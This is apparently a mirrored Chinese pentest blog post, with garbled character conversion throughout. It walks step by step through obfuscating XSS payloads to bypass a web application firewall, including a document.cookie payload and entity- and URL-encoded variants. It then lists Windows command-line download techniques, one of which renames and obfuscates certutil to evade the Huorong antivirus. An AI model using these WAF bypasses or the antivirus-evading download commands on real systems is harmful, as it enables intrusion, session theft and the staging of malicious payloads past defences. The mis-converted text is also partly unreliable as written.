天天看點

2022-10-11(二、XSS的繞過方式、windows指令行遠端下載下傳檔案)XSS繞過防護windows指令行遠端下載下傳檔案參考

文章目錄

  • XSS繞過防護
    • 變形:
    • 加強
  • windows指令行遠端下載下傳檔案
  • 參考

XSS繞過防護

payload的選擇:

<script>alert(1)</script>
<img src=1 onerror=alert(1)>
<image/src=| onerror = javascript:alert(document.cookie)>
           

如果用XSS字典去FUZZ測試

優點:高效

缺點:隻能測試反射型XSS,被攔截的可能性很大

對于

<script>

這種的payload,如果不是變形的,基本上現在随便一個WAF裝置都能準确識别了,存活的可能性比較低。

是以用

<img src=1 onerror=alert(1)>

,但是alert關鍵字太明顯

變形:

  1. <img>

    可以變成

    <image>

  2. <image src=>

    中間隻要有空格、TAB鍵都會被攔截,是以換成這種形式

    <image/src=>

    ,用

    /

    這個符号替代空格。
  3. src=

    的右邊隻要是

    數字、字母啥的,就會被攔截

    。經過測試,發現

    src=

    右邊是可以

    接特殊字元串

    的,是以語句變成如下格式

    <image/src=|>

    (注:這個是特殊字元豎杠,不是字母或者數字),這樣就繞過了防護。
  4. onerror=alert(111)

    在=号左右兩邊加上TAB鍵,變成如下格式onerror = alert(111)可以繞過=附近的攔截
  5. alert(111)

    這個部分還是會被攔截,借助

    javascript:僞協定

    ,因為javascript:這部分可以接各種編碼,之後測試的payload變成如下格式

    <images/src=| onerror = javascript:alert(111)>

  6. javascript:alert(111)

    編碼成16進制格式:

    &#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x31;&#x31;&#x29;

    ;

    去掉,一樣是可以觸發漏洞的,(為什麼會攔截;呢,我想它的本意不是為了攔截XSS,是為了攔截多語句的SQL注入的分号。)
  7. 直接用burpsuite抓包送出是不行的,因為&會與POST請求資料包中的&分割符重複,這個好解決,可以對payload進行URL編碼一樣吧。
  8. URL編碼後的payload大緻如下所示:

    <image/src=| onerror = %26%23%78%36%61%26%23%78%36%31%26%23%78%37%36%26%23%78%36%31%26%23%78%37%33%26%23%78%36%33%26%23%78%37%32%26%23%78%36%39%26%23%78%37%30%26%23%78%37%34%26%23%78%33%61%26%23%78%36%31%26%23%78%36%63%26%23%78%36%35%26%23%78%37%32%26%23%78%37%34%26%23%78%32%38%26%23%78%33%31%26%23%78%33%31%26%23%78%33%31%26%23%78%32%39>

加強

  1. 禁止管理者背景的外網登入,限制僅内網可以登入
  2. 設定HttpOnly

windows指令行遠端下載下傳檔案

方法一

certutil -urlcache -split -f http://xx.xx.xx.xx/test.zip c:\test.zip  (windows遠端下載下傳檔案至本地,僅需要一個cmd執行的地方)
           

方法二

curl http://xx.xx.xx.xx/test.zip -o c:\test.zip
           

方法三

繞最新版火絨下載下傳(2022年9月24日):修改C:\Windows\System32下的certutil.exe為c.exe

c.exe -U^R""""L""""C^a""""c""""h^e    -s^p""""l""""i^t  -f  http://x.x.x.x/1.txt
           

方法四

powershell -c "invoke-webrequest -uri http://xx.xx.xx.xx/test.zip -outfile test.zip"
           

參考

  1. XSS繞過防護盲打某SRC官網背景
  2. windows指令行遠端下載下傳檔案的三種方法

繼續閱讀